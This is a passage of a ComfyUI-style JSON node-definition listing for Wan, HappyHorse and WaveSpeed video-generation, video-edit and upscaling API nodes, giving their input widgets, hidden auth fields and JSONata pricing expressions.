"has_intermediate_output": false}, "WanReferenceVideoApi": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["wan2.6-r2v"]}], "prompt": ["STRING", {"tooltip": "Prompt describing the elements and visual features. Supports English and Chinese. Use identifiers such as `character1` and `character2` to refer to the reference characters.", "default": "", "multiline": true}], "negative_prompt": ["STRING", {"tooltip": "Negative prompt describing what to avoid.", "default": "", "multiline": true}], "reference_videos": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"reference_video": ["VIDEO", {}]}}, "names": ["character1", "character2", "character3"], "min": 1}}], "size": ["COMBO", {"multiselect": false, "options": ["720p: 1:1 (960x960)", "720p: 16:9 (1280x720)", "720p: 9:16 (720x1280)", "720p: 4:3 (1088x832)", "720p: 3:4 (832x1088)", "1080p: 1:1 (1440x1440)", "1080p: 16:9 (1920x1080)", "1080p: 9:16 (1080x1920)", "1080p: 4:3 (1632x1248)", "1080p: 3:4 (1248x1632)"]}], "duration": ["INT", {"default": 5, "min": 5, "max": 10, "step": 5, "display": "slider"}], "seed": ["INT", {"default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "shot_type": ["COMBO", {"tooltip": "Specifies the shot type for the generated video, that is, whether the video is a single continuous shot or multiple shots with cuts.", "advanced": true, "multiselect": false, "options": ["single", "multi"]}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an AI-generated watermark to the result.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt", "negative_prompt", "reference_videos", "size", "duration", "seed", "shot_type", "watermark"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "WanReferenceVideoApi", "display_name": "Wan Reference to Video", "description": "Use the character and voice from input videos, combined with a prompt, to generate a new video that maintains character consistency.", "python_module": "comfy_api_nodes.nodes_wan", "category": "partner/video/Wan", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "size", "type": "COMBO"}, {"name": "duration", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $rate := $contains(widgets.size, \"1080p\") ? 0.15 : 0.10;\n $inputMin := 2 * $rate;\n $inputMax := 5 * $rate;\n $outputPrice := widgets.duration * $rate;\n {\n \"type\": \"range_usd\",\n \"min_usd\": $inputMin + $outputPrice,\n \"max_usd\": $inputMax + $outputPrice\n }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Wan2TextToVideoApi": {"input": {"required": {"model": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "wan2.7-t2v", "inputs": {"required": {"prompt": ["STRING", {"tooltip": "Prompt describing the elements and visual features. Supports English and Chinese.", "default": "", "multiline": true}], "negative_prompt": ["STRING", {"tooltip": "Negative prompt describing what to avoid.", "default": "", "multiline": true}], "resolution": ["COMBO", {"multiselect": false, "options": ["720P", "1080P"]}], "ratio": ["COMBO", {"multiselect": false, "options": ["16:9", "9:16", "1:1", "4:3", "3:4"]}], "duration": ["INT", {"default": 5, "min": 2, "max": 15, "step": 1, "display": "number"}]}}}]}], "seed": ["INT", {"tooltip": "Seed to use for generation.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "prompt_extend": ["BOOLEAN", {"tooltip": "Whether to enhance the prompt with AI assistance.", "advanced": true, "default": true}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an AI-generated watermark to the result.", "advanced": true, "default": false}]}, "optional": {"audio": ["AUDIO", {"tooltip": "Audio for driving video generation (e.g., lip sync, beat-matched motion). Duration: 3s-30s. If not provided, the model automatically generates matching background music or sound effects."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "seed", "prompt_extend", "watermark"], "optional": ["audio"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "Wan2TextToVideoApi", "display_name": "Wan 2.7 Text to Video", "description": "Generates a video based on a text prompt using the Wan 2.7 model.", "python_module": "comfy_api_nodes.nodes_wan", "category": "partner/video/Wan", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.resolution", "type": "COMBO"}, {"name": "model.duration", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $res := $lookup(widgets, \"model.resolution\");\n $dur := $lookup(widgets, \"model.duration\");\n $ppsTable := { \"720p\": 0.1, \"1080p\": 0.15 };\n $pps := $lookup($ppsTable, $res);\n { \"type\": \"usd\", \"usd\": $pps * $dur }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Wan2ImageToVideoApi": {"input": {"required": {"model": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "wan2.7-i2v", "inputs": {"required": {"prompt": ["STRING", {"tooltip": "Prompt describing the elements and visual features. Supports English and Chinese.", "default": "", "multiline": true}], "negative_prompt": ["STRING", {"tooltip": "Negative prompt describing what to avoid.", "default": "", "multiline": true}], "resolution": ["COMBO", {"multiselect": false, "options": ["720P", "1080P"]}], "duration": ["INT", {"default": 5, "min": 2, "max": 15, "step": 1, "display": "number"}]}}}]}], "first_frame": ["IMAGE", {"tooltip": "First frame image. The output aspect ratio is derived from this image."}], "seed": ["INT", {"tooltip": "Seed to use for generation.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "prompt_extend": ["BOOLEAN", {"tooltip": "Whether to enhance the prompt with AI assistance.", "advanced": true, "default": true}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an AI-generated watermark to the result.", "advanced": true, "default": false}]}, "optional": {"last_frame": ["IMAGE", {"tooltip": "Last frame image. The model generates a video transitioning from first to last frame."}], "audio": ["AUDIO", {"tooltip": "Audio for driving video generation (e.g., lip sync, beat-matched motion). Duration: 2s-30s. If not provided, the model automatically generates matching background music or sound effects."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "first_frame", "seed", "prompt_extend", "watermark"], "optional": ["last_frame", "audio"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "Wan2ImageToVideoApi", "display_name": "Wan 2.7 Image to Video", "description": "Generate a video from a first-frame image, with optional last-frame image and audio.", "python_module": "comfy_api_nodes.nodes_wan", "category": "partner/video/Wan", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.resolution", "type": "COMBO"}, {"name": "model.duration", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $res := $lookup(widgets, \"model.resolution\");\n $dur := $lookup(widgets, \"model.duration\");\n $ppsTable := { \"720p\": 0.1, \"1080p\": 0.15 };\n $pps := $lookup($ppsTable, $res);\n { \"type\": \"usd\", \"usd\": $pps * $dur }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Wan2VideoContinuationApi": {"input": {"required": {"model": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "wan2.7-i2v", "inputs": {"required": {"prompt": ["STRING", {"tooltip": "Prompt describing the elements and visual features. Supports English and Chinese.", "default": "", "multiline": true}], "negative_prompt": ["STRING", {"tooltip": "Negative prompt describing what to avoid.", "default": "", "multiline": true}], "resolution": ["COMBO", {"multiselect": false, "options": ["720P", "1080P"]}], "duration": ["INT", {"tooltip": "Total output duration in seconds. The model generates continuation to fill the remaining time after the input clip.", "default": 5, "min": 2, "max": 15, "step": 1, "display": "number"}]}}}]}], "first_clip": ["VIDEO", {"tooltip": "Input video to continue from. Duration: 2s-10s. The output aspect ratio is derived from this video."}], "seed": ["INT", {"tooltip": "Seed to use for generation.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "prompt_extend": ["BOOLEAN", {"tooltip": "Whether to enhance the prompt with AI assistance.", "advanced": true, "default": true}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an AI-generated watermark to the result.", "advanced": true, "default": false}]}, "optional": {"last_frame": ["IMAGE", {"tooltip": "Last frame image. The continuation will transition towards this frame."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "first_clip", "seed", "prompt_extend", "watermark"], "optional": ["last_frame"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "Wan2VideoContinuationApi", "display_name": "Wan 2.7 Video Continuation", "description": "Continue a video from where it left off, with optional last-frame control.", "python_module": "comfy_api_nodes.nodes_wan", "category": "partner/video/Wan", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.resolution", "type": "COMBO"}, {"name": "model.duration", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $res := $lookup(widgets, \"model.resolution\");\n $dur := $lookup(widgets, \"model.duration\");\n $ppsTable := { \"720p\": 0.1, \"1080p\": 0.15 };\n $pps := $lookup($ppsTable, $res);\n $outputPrice := $pps * $dur;\n {\n \"type\": \"range_usd\",\n \"min_usd\": 2 * $pps + $outputPrice,\n \"max_usd\": 5 * $pps + $outputPrice\n }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Wan2VideoEditApi": {"input": {"required": {"model": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "wan2.7-videoedit", "inputs": {"required": {"prompt": ["STRING", {"tooltip": "Editing instructions or style transfer requirements.", "default": "", "multiline": true}], "resolution": ["COMBO", {"multiselect": false, "options": ["720P", "1080P"]}], "ratio": ["COMBO", {"tooltip": "Aspect ratio. If not changed, approximates the input video ratio.", "multiselect": false, "options": ["16:9", "9:16", "1:1", "4:3", "3:4"]}], "duration": ["COMBO", {"tooltip": "Output duration in seconds. 'auto' matches the input video duration. A specific value truncates from the start of the video.", "default": "auto", "multiselect": false, "options": ["auto", "2", "3", "4", "5", "6", "7", "8", "9", "10"]}], "reference_images": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"reference_image": ["IMAGE", {}]}}, "names": ["image1", "image2", "image3", "image4"], "min": 0}}]}}}]}], "video": ["VIDEO", {"tooltip": "The video to edit."}], "seed": ["INT", {"tooltip": "Seed to use for generation.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "audio_setting": ["COMBO", {"tooltip": "'auto': model decides whether to regenerate audio based on the prompt. 'origin': preserve the original audio from the input video.", "advanced": true, "default": "auto", "multiselect": false, "options": ["auto", "origin"]}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an AI-generated watermark to the result.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "video", "seed", "audio_setting", "watermark"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "Wan2VideoEditApi", "display_name": "Wan 2.7 Video Edit", "description": "Edit a video using text instructions, reference images, or style transfer.", "python_module": "comfy_api_nodes.nodes_wan", "category": "partner/video/Wan", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.resolution", "type": "COMBO"}, {"name": "model.duration", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $res := $lookup(widgets, \"model.resolution\");\n $dur := $lookup(widgets, \"model.duration\");\n $ppsTable := { \"720p\": 0.1, \"1080p\": 0.15 };\n $pps := $lookup($ppsTable, $res);\n { \"type\": \"usd\", \"usd\": $pps, \"format\": { \"suffix\": \"/second\", \"note\": \"(input + output)\" } }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Wan2ReferenceVideoApi": {"input": {"required": {"model": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "wan2.7-r2v", "inputs": {"required": {"prompt": ["STRING", {"tooltip": "Prompt describing the video. Use identifiers such as 'character1' and 'character2' to refer to the reference characters.", "default": "", "multiline": true}], "negative_prompt": ["STRING", {"tooltip": "Negative prompt describing what to avoid.", "default": "", "multiline": true}], "resolution": ["COMBO", {"multiselect": false, "options": ["720P", "1080P"]}], "ratio": ["COMBO", {"multiselect": false, "options": ["16:9", "9:16", "1:1", "4:3", "3:4"]}], "duration": ["INT", {"default": 5, "min": 2, "max": 10, "step": 1, "display": "number"}], "reference_videos": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"reference_video": ["VIDEO", {}]}}, "names": ["video1", "video2", "video3"], "min": 0}}], "reference_images": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"reference_image": ["IMAGE", {}]}}, "names": ["image1", "image2", "image3", "image4", "image5"], "min": 0}}]}}}]}], "seed": ["INT", {"tooltip": "Seed to use for generation.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an AI-generated watermark to the result.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "seed", "watermark"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "Wan2ReferenceVideoApi", "display_name": "Wan 2.7 Reference to Video", "description": "Generate a video featuring a person or object from reference materials. Supports single-character performances and multi-character interactions.", "python_module": "comfy_api_nodes.nodes_wan", "category": "partner/video/Wan", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.resolution", "type": "COMBO"}, {"name": "model.duration", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $res := $lookup(widgets, \"model.resolution\");\n $dur := $lookup(widgets, \"model.duration\");\n $ppsTable := { \"720p\": 0.1, \"1080p\": 0.15 };\n $pps := $lookup($ppsTable, $res);\n $outputPrice := $pps * $dur;\n {\n \"type\": \"range_usd\",\n \"min_usd\": $outputPrice,\n \"max_usd\": 5 * $pps + $outputPrice\n }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "HappyHorseTextToVideoApi": {"input": {"required": {"model": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "happyhorse-1.1-t2v", "inputs": {"required": {"prompt": ["STRING", {"tooltip": "Prompt describing the elements and visual features. Supports English and Chinese.", "default": "", "multiline": true}], "resolution": ["COMBO", {"multiselect": false, "options": ["720P", "1080P"]}], "ratio": ["COMBO", {"multiselect": false, "options": ["16:9", "9:16", "1:1", "4:3", "3:4", "21:9", "9:21", "5:4", "4:5"]}], "duration": ["INT", {"default": 5, "min": 3, "max": 15, "step": 1, "display": "number"}]}}}, {"key": "happyhorse-1.0-t2v", "inputs": {"required": {"prompt": ["STRING", {"tooltip": "Prompt describing the elements and visual features. Supports English and Chinese.", "default": "", "multiline": true}], "resolution": ["COMBO", {"multiselect": false, "options": ["720P", "1080P"]}], "ratio": ["COMBO", {"multiselect": false, "options": ["16:9", "9:16", "1:1", "4:3", "3:4"]}], "duration": ["INT", {"default": 5, "min": 3, "max": 15, "step": 1, "display": "number"}]}}}]}], "seed": ["INT", {"tooltip": "Seed to use for generation.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an AI-generated watermark to the result.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "seed", "watermark"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "HappyHorseTextToVideoApi", "display_name": "HappyHorse Text to Video", "description": "Generates a video based on a text prompt using the HappyHorse model.", "python_module": "comfy_api_nodes.nodes_wan", "category": "partner/video/Wan", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.resolution", "type": "COMBO"}, {"name": "model.duration", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $res := $lookup(widgets, \"model.resolution\");\n $dur := $lookup(widgets, \"model.duration\");\n $ppsTable := $contains(widgets.model, \"1.1\")\n ? { \"720p\": 0.2002, \"1080p\": 0.2574 }\n : { \"720p\": 0.14, \"1080p\": 0.24 };\n $pps := $lookup($ppsTable, $res);\n { \"type\": \"usd\", \"usd\": $pps * $dur }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "HappyHorseImageToVideoApi": {"input": {"required": {"model": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "happyhorse-1.1-i2v", "inputs": {"required": {"prompt": ["STRING", {"tooltip": "Prompt describing the elements and visual features. Supports English and Chinese.", "default": "", "multiline": true}], "resolution": ["COMBO", {"multiselect": false, "options": ["720P", "1080P"]}], "duration": ["INT", {"default": 5, "min": 3, "max": 15, "step": 1, "display": "number"}]}}}, {"key": "happyhorse-1.0-i2v", "inputs": {"required": {"prompt": ["STRING", {"tooltip": "Prompt describing the elements and visual features. Supports English and Chinese.", "default": "", "multiline": true}], "resolution": ["COMBO", {"multiselect": false, "options": ["720P", "1080P"]}], "duration": ["INT", {"default": 5, "min": 3, "max": 15, "step": 1, "display": "number"}]}}}]}], "first_frame": ["IMAGE", {"tooltip": "First frame image. The output aspect ratio is derived from this image."}], "seed": ["INT", {"tooltip": "Seed to use for generation.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an AI-generated watermark to the result.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "first_frame", "seed", "watermark"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "HappyHorseImageToVideoApi", "display_name": "HappyHorse Image to Video", "description": "Generate a video from a first-frame image using the HappyHorse model.", "python_module": "comfy_api_nodes.nodes_wan", "category": "partner/video/Wan", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.resolution", "type": "COMBO"}, {"name": "model.duration", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $res := $lookup(widgets, \"model.resolution\");\n $dur := $lookup(widgets, \"model.duration\");\n $ppsTable := $contains(widgets.model, \"1.1\")\n ? { \"720p\": 0.2002, \"1080p\": 0.2574 }\n : { \"720p\": 0.14, \"1080p\": 0.24 };\n $pps := $lookup($ppsTable, $res);\n { \"type\": \"usd\", \"usd\": $pps * $dur }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "HappyHorseVideoEditApi": {"input": {"required": {"model": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "happyhorse-1.0-video-edit", "inputs": {"required": {"prompt": ["STRING", {"tooltip": "Editing instructions or style transfer requirements.", "default": "", "multiline": true}], "resolution": ["COMBO", {"multiselect": false, "options": ["720P", "1080P"]}], "ratio": ["COMBO", {"tooltip": "Aspect ratio. If not changed, approximates the input video ratio.", "multiselect": false, "options": ["16:9", "9:16", "1:1", "4:3", "3:4"]}], "reference_images": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"reference_image": ["IMAGE", {}]}}, "names": ["image1", "image2", "image3", "image4", "image5"], "min": 0}}]}}}]}], "video": ["VIDEO", {"tooltip": "The video to edit."}], "seed": ["INT", {"tooltip": "Seed to use for generation.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an AI-generated watermark to the result.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "video", "seed", "watermark"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "HappyHorseVideoEditApi", "display_name": "HappyHorse Video Edit", "description": "Edit a video using text instructions or reference images with the HappyHorse model. Output duration is 3-15s and matches the input video; inputs longer than 15s are truncated.", "python_module": "comfy_api_nodes.nodes_wan", "category": "partner/video/Wan", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $res := $lookup(widgets, \"model.resolution\");\n $ppsTable := { \"720p\": 0.14, \"1080p\": 0.24 };\n $pps := $lookup($ppsTable, $res);\n { \"type\": \"usd\", \"usd\": $pps, \"format\": { \"suffix\": \"/second\" } }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "HappyHorseReferenceVideoApi": {"input": {"required": {"model": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "happyhorse-1.1-r2v", "inputs": {"required": {"prompt": ["STRING", {"tooltip": "Prompt describing the video. Use identifiers such as 'character1' and 'character2' to refer to the reference characters.", "default": "", "multiline": true}], "resolution": ["COMBO", {"multiselect": false, "options": ["720P", "1080P"]}], "ratio": ["COMBO", {"multiselect": false, "options": ["16:9", "9:16", "1:1", "4:3", "3:4", "21:9", "9:21", "5:4", "4:5"]}], "duration": ["INT", {"default": 5, "min": 3, "max": 15, "step": 1, "display": "number"}], "reference_images": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"reference_image": ["IMAGE", {}]}}, "names": ["image1", "image2", "image3", "image4", "image5", "image6", "image7", "image8", "image9"], "min": 1}}]}}}, {"key": "happyhorse-1.0-r2v", "inputs": {"required": {"prompt": ["STRING", {"tooltip": "Prompt describing the video. Use identifiers such as 'character1' and 'character2' to refer to the reference characters.", "default": "", "multiline": true}], "resolution": ["COMBO", {"multiselect": false, "options": ["720P", "1080P"]}], "ratio": ["COMBO", {"multiselect": false, "options": ["16:9", "9:16", "1:1", "4:3", "3:4"]}], "duration": ["INT", {"default": 5, "min": 3, "max": 15, "step": 1, "display": "number"}], "reference_images": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"reference_image": ["IMAGE", {}]}}, "names": ["image1", "image2", "image3", "image4", "image5", "image6", "image7", "image8", "image9"], "min": 1}}]}}}]}], "seed": ["INT", {"tooltip": "Seed to use for generation.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an AI-generated watermark to the result.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "seed", "watermark"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "HappyHorseReferenceVideoApi", "display_name": "HappyHorse Reference to Video", "description": "Generate a video featuring a person or object from reference materials with the HappyHorse model. Supports single-character performances and multi-character interactions.", "python_module": "comfy_api_nodes.nodes_wan", "category": "partner/video/Wan", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.resolution", "type": "COMBO"}, {"name": "model.duration", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $res := $lookup(widgets, \"model.resolution\");\n $dur := $lookup(widgets, \"model.duration\");\n $ppsTable := $contains(widgets.model, \"1.1\")\n ? { \"720p\": 0.2002, \"1080p\": 0.2574 }\n : { \"720p\": 0.14, \"1080p\": 0.24 };\n $pps := $lookup($ppsTable, $res);\n { \"type\": \"usd\", \"usd\": $pps * $dur }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WavespeedFlashVSRNode": {"input": {"required": {"video": ["VIDEO", {}], "target_resolution": ["COMBO", {"multiselect": false, "options": ["720p", "1080p", "2K", "4K"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["video", "target_resolution"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "WavespeedFlashVSRNode", "display_name": "FlashVSR Video Upscale", "description": "Fast, high-quality video upscaler that boosts resolution and restores clarity for low-resolution or blurry footage.", "python_module": "comfy_api_nodes.nodes_wavespeed", "category": "partner/video/WaveSpeed", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "target_resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $price_for_1sec := {\"720p\": 0.012, \"1080p\": 0.018, \"2k\": 0.024, \"4k\": 0.032};\n {\n \"type\":\"usd\",\n \"usd\": $lookup($price_for_1sec, widgets.target_resolution),\n \"format\":{\"suffix\": \"/second\", \"approximate\": true}\n }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WavespeedImageUpscaleNode": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["SeedVR2", "Ultimate"]}], "image": ["IMAGE", {}], "target_resolution": ["COMBO", {"multiselect": false, "options": ["2K", "4K", "8K"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "image", "target_resolution"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": 